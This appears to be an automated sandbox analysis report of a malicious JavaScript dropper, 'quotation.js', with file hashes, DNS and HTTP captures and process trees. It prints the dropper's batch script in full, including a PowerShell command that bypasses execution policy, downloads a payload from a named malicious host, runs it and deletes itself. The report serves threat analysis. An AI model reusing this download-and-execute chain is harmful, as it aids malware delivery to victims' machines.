	V6n3oygctH.exe	Get hash	malicious	CryptOne, SmokeLoader, Stealc	Browse	104.26.3.16
	agd42.exe	Get hash	malicious	BlackMoon	Browse	104.26.3.16
	agd42.exe	Get hash	malicious	BlackMoon	Browse	104.26.3.16

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	9434
Entropy (8bit):	4.928515784730612
Encrypted:	false
SSDEEP:	192:Lxoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smAH:srib4ZIkjh4iUxsT6Ypib47
MD5:	D3594118838EF8580975DDA877E44DEB
SHA1:	0ACABEA9B50CA74E6EBAE326251253BAF2E53371
SHA-256:	456A877AFDD786310F7DAF74CCBC7FB6B0A0D14ABD37E3D6DE9D8277FFAC7DDE
SHA-512:	103EA89FA5AC7E661417BBFE049415EF7FA6A09C461337C174DF02925D6A691994FE91B148B28D6A712604BDBC4D1DB5FEED8F879731B36326725AA9714AC53C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_03wxh4mx.gym.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gjo54vkd.2ry.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tempScript.bat

Process:	C:\Windows\System32\wscript.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	305
Entropy (8bit):	5.446129494019924
Encrypted:	false
SSDEEP:	6:p56dz3jIW3Udpav2+ECEovQ980QO0cbjLh8JpH5uRDk5JOWPRmvugTv:ixIW7TpI980QpcjGLH5kkiWPRTgTv
MD5:	6BCE262A914E1606C864F6383A796ED7
SHA1:	ECBD77FCBB596EFBAC410056EC5790A1B8812D33
SHA-256:	213B2AF8334B2E309F0472F30D7CA42351BFDF4B4359C9A751A29756E14E3545
SHA-512:	E5A1A215E7CB3F4C26D62377F83B9C58AE294AFBCF8693A57CBCBFC8B80730F8CB0A1A16968247509F8D42AC9182A71E45585F60111C17F9EF15A963CA11D944
Malicious:	true
Preview:	@echo on..SETLOCAL..SET "cmdURL=http://timmy02.duckdns.org/uploads/186024/Quotation.vbs.php"..SET "cmdPath=%temp%\Update.php"..powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri '%cmdURL%' -OutFile '%cmdPath%' "..cmd.exe /c "%cmdPath%"..taskkill /f /im wscript.exe..ENDLOCAL..DEL "%~f0"..

Static File Info

General

File type:	Unicode text, UTF-16, little-endian text, with very long lines (709), with CRLF line terminators
Entropy (8bit):	4.230368219285672
TrID:	Text - UTF-16 (LE) encoded (2002/1) 64.44% MP3 audio (1001/1) 32.22% Lumena CEL bitmap (63/63) 2.03% Corel Photo Paint (41/41) 1.32%
File name:	quotation.js
File size:	3'316'916 bytes
MD5:	e9dfe55aca773878308f2d4d6ad00c79
SHA1:	0066ce882b680471050a49ec800d32e47b3765ca
SHA256:	d7c6eab85f93123d8bf4db0f5714d2d400d4f7fb93b1a79163ebaee7e72b515d
SHA512:	a9e33a3bb0354f95db699a461060d777a952f68ca6bc847b17c9dc371e86d133167e4cc6f7274d035b1a52443a2f422bb6fe6101597df2a52599c6f4fb1c67b6
SSDEEP:	12288:T3Y6TzFLuglAgA1X+H/5J0pQhc6LhTdWzqxRAdrvdgIdN/dgLAgLcSq6SOgICSaN:O
TLSH:	80E5F2562AD61C9CB033BD0ACBEDE561DF5BB221250E6B9717A1038F01DB842DD8BC76
File Content Preview:	../..F.h.B.i.A.=.}.!.k.i.%.e.}.0.X.x.7.!.U.4.!.i.(.,.O.{.3.o.c.B.8.0.W.&._.n.r.>.k.0.&.].z.{.].T.R...<.Y.h.%.L.r.<.n.8.Z.0.y.:.V.n.V.M.>.O.w.#.u.1.e.1.W.O.a.%.).2.4.f../...../.*.N.b.y.k.g.=.w.8.u.Q.M.u.Q.\|.?.2.T.0.D.^.).m.-.&.{.:.N.{.H.9.@.H.D.k.T.&.\|.@

File Icon


Icon Hash:	68d69b8bb6aa9a86

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 2, 2024 07:47:15.756586075 CEST	49702	443	192.168.2.7	104.26.3.16
Sep 2, 2024 07:47:15.756620884 CEST	443	49702	104.26.3.16	192.168.2.7
Sep 2, 2024 07:47:15.756829023 CEST	49702	443	192.168.2.7	104.26.3.16
Sep 2, 2024 07:47:15.766387939 CEST	49702	443	192.168.2.7	104.26.3.16
Sep 2, 2024 07:47:15.766405106 CEST	443	49702	104.26.3.16	192.168.2.7
Sep 2, 2024 07:47:16.241029024 CEST	443	49702	104.26.3.16	192.168.2.7
Sep 2, 2024 07:47:16.241188049 CEST	49702	443	192.168.2.7	104.26.3.16
Sep 2, 2024 07:47:16.260643005 CEST	49702	443	192.168.2.7	104.26.3.16
Sep 2, 2024 07:47:16.260662079 CEST	443	49702	104.26.3.16	192.168.2.7
Sep 2, 2024 07:47:16.260986090 CEST	443	49702	104.26.3.16	192.168.2.7
Sep 2, 2024 07:47:16.308180094 CEST	49702	443	192.168.2.7	104.26.3.16
Sep 2, 2024 07:47:16.315891027 CEST	49702	443	192.168.2.7	104.26.3.16
Sep 2, 2024 07:47:16.356512070 CEST	443	49702	104.26.3.16	192.168.2.7
Sep 2, 2024 07:47:16.553469896 CEST	443	49702	104.26.3.16	192.168.2.7
Sep 2, 2024 07:47:16.553551912 CEST	443	49702	104.26.3.16	192.168.2.7
Sep 2, 2024 07:47:16.553677082 CEST	49702	443	192.168.2.7	104.26.3.16
Sep 2, 2024 07:47:16.560817003 CEST	49702	443	192.168.2.7	104.26.3.16
Sep 2, 2024 07:47:16.560842037 CEST	443	49702	104.26.3.16	192.168.2.7
Sep 2, 2024 07:47:16.560853004 CEST	49702	443	192.168.2.7	104.26.3.16
Sep 2, 2024 07:47:16.560861111 CEST	443	49702	104.26.3.16	192.168.2.7
Sep 2, 2024 07:47:20.046479940 CEST	49707	80	192.168.2.7	41.105.186.133
Sep 2, 2024 07:47:20.051443100 CEST	80	49707	41.105.186.133	192.168.2.7
Sep 2, 2024 07:47:20.054006100 CEST	49707	80	192.168.2.7	41.105.186.133
Sep 2, 2024 07:47:20.060497999 CEST	49707	80	192.168.2.7	41.105.186.133
Sep 2, 2024 07:47:20.065296888 CEST	80	49707	41.105.186.133	192.168.2.7
Sep 2, 2024 07:47:41.445280075 CEST	80	49707	41.105.186.133	192.168.2.7
Sep 2, 2024 07:47:41.445341110 CEST	49707	80	192.168.2.7	41.105.186.133
Sep 2, 2024 07:47:41.468447924 CEST	49707	80	192.168.2.7	41.105.186.133
Sep 2, 2024 07:47:41.472174883 CEST	49723	80	192.168.2.7	41.105.186.133
Sep 2, 2024 07:47:41.473309994 CEST	80	49707	41.105.186.133	192.168.2.7
Sep 2, 2024 07:47:41.477040052 CEST	80	49723	41.105.186.133	192.168.2.7
Sep 2, 2024 07:47:41.477111101 CEST	49723	80	192.168.2.7	41.105.186.133
Sep 2, 2024 07:47:41.477346897 CEST	49723	80	192.168.2.7	41.105.186.133
Sep 2, 2024 07:47:41.482112885 CEST	80	49723	41.105.186.133	192.168.2.7
Sep 2, 2024 07:48:02.844604969 CEST	80	49723	41.105.186.133	192.168.2.7
Sep 2, 2024 07:48:02.844675064 CEST	49723	80	192.168.2.7	41.105.186.133
Sep 2, 2024 07:48:02.845135927 CEST	49723	80	192.168.2.7	41.105.186.133
Sep 2, 2024 07:48:02.849999905 CEST	80	49723	41.105.186.133	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 2, 2024 07:47:15.732700109 CEST	63836	53	192.168.2.7	1.1.1.1
Sep 2, 2024 07:47:15.740134954 CEST	53	63836	1.1.1.1	192.168.2.7
Sep 2, 2024 07:47:19.409816027 CEST	61156	53	192.168.2.7	1.1.1.1
Sep 2, 2024 07:47:20.025356054 CEST	53	61156	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 2, 2024 07:47:15.732700109 CEST	192.168.2.7	1.1.1.1	0x9b5a	Standard query (0)	rentry.co	A (IP address)	IN (0x0001)	false
Sep 2, 2024 07:47:19.409816027 CEST	192.168.2.7	1.1.1.1	0x48b6	Standard query (0)	timmy02.duckdns.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 2, 2024 07:47:15.740134954 CEST	1.1.1.1	192.168.2.7	0x9b5a	No error (0)	rentry.co	104.26.3.16	A (IP address)	IN (0x0001)	false
Sep 2, 2024 07:47:15.740134954 CEST	1.1.1.1	192.168.2.7	0x9b5a	No error (0)	rentry.co	172.67.75.40	A (IP address)	IN (0x0001)	false
Sep 2, 2024 07:47:15.740134954 CEST	1.1.1.1	192.168.2.7	0x9b5a	No error (0)	rentry.co	104.26.2.16	A (IP address)	IN (0x0001)	false
Sep 2, 2024 07:47:20.025356054 CEST	1.1.1.1	192.168.2.7	0x48b6	No error (0)	timmy02.duckdns.org	41.105.186.133	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

rentry.co

timmy02.duckdns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49707	41.105.186.133	80	5428	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 2, 2024 07:47:20.060497999 CEST	196	OUT	GET /uploads/186024/Quotation.vbs.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: timmy02.duckdns.org Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49723	41.105.186.133	80	5428	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 2, 2024 07:47:41.477346897 CEST	196	OUT	GET /uploads/186024/Quotation.vbs.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: timmy02.duckdns.org Connection: Keep-Alive

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	104.26.3.16	443	712	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-02 05:47:16 UTC	155	OUT	GET /6yg2yfkf/raw HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: rentry.co
2024-09-02 05:47:16 UTC	697	IN	HTTP/1.1 200 OK Date: Mon, 02 Sep 2024 05:47:16 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 261 Connection: close vary: Origin x-xss-protection: 1; mode=block x-content-type-options: nosniff strict-transport-security: max-age=31536000; includeSubDomains Cache-Control: Vary CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=709Z5dzYVzugJOVU%2B2uPK3ot0o8ZYa3bSAiexQnjPVnWifveFIAB%2BEvNCYDUTISohGY7opntwyDVjK69bLl5G01LmvdSfRiy6wBX0yuOOia2hnI%2FcDK5o2zBZQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bcb34534efc8cd6-EWR
2024-09-02 05:47:16 UTC	261	IN	Data Raw: 40 65 63 68 6f 20 6f 6e 0d 0a 53 45 54 4c 4f 43 41 4c 0d 0a 53 45 54 20 22 63 6d 64 55 52 4c 3d 44 6f 77 6e 6c 6f 61 64 55 52 4c 22 0d 0a 53 45 54 20 22 63 6d 64 50 61 74 68 3d 25 74 65 6d 70 25 5c 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 2e 74 6d 70 22 0d 0a 70 6f 77 65 72 73 68 65 6c 6c 20 2d 45 78 65 63 75 74 69 6f 6e 50 6f 6c 69 63 79 20 42 79 70 61 73 73 20 2d 43 6f 6d 6d 61 6e 64 20 22 49 6e 76 6f 6b 65 2d 57 65 62 52 65 71 75 65 73 74 20 2d 55 72 69 20 27 25 63 6d 64 55 52 4c 25 27 20 2d 4f 75 74 46 69 6c 65 20 27 25 63 6d 64 50 61 74 68 25 27 20 22 0d 0a 63 6d 64 2e 65 78 65 20 2f 63 20 22 25 63 6d 64 50 61 74 68 25 22 0d 0a 74 61 73 6b 6b 69 6c 6c 20 2f 66 20 2f 69 6d 20 77 73 63 72 69 70 74 2e 65 78 65 0d 0a 45 4e 44 4c 4f 43 41 4c 0d 0a 44 45 4c 20 Data Ascii: @echo onSETLOCALSET "cmdURL=DownloadURL"SET "cmdPath=%temp%\DownloadFile.tmp"powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri '%cmdURL%' -OutFile '%cmdPath%' "cmd.exe /c "%cmdPath%"taskkill /f /im wscript.exeENDLOCALDEL

Target ID:	1
Start time:	01:47:13
Start date:	02/09/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\quotation.js"
Imagebase:	0x7ff7ac2a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	01:47:16
Start date:	02/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tempScript.bat" "
Imagebase:	0x7ff75da10000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	01:47:16
Start date:	02/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	01:47:16
Start date:	02/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'http://timmy02.duckdns.org/uploads/186024/Quotation.vbs.php' -OutFile 'C:\Users\user~1\AppData\Local\Temp\Update.php' "
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	18
Start time:	02:59:07
Start date:	02/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c "C:\Users\user~1\AppData\Local\Temp\Update.php"
Imagebase:	0x7ff7fc7a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	19
Start time:	02:59:07
Start date:	02/09/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill /f /im wscript.exe
Imagebase:	0x7ff7e4760000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true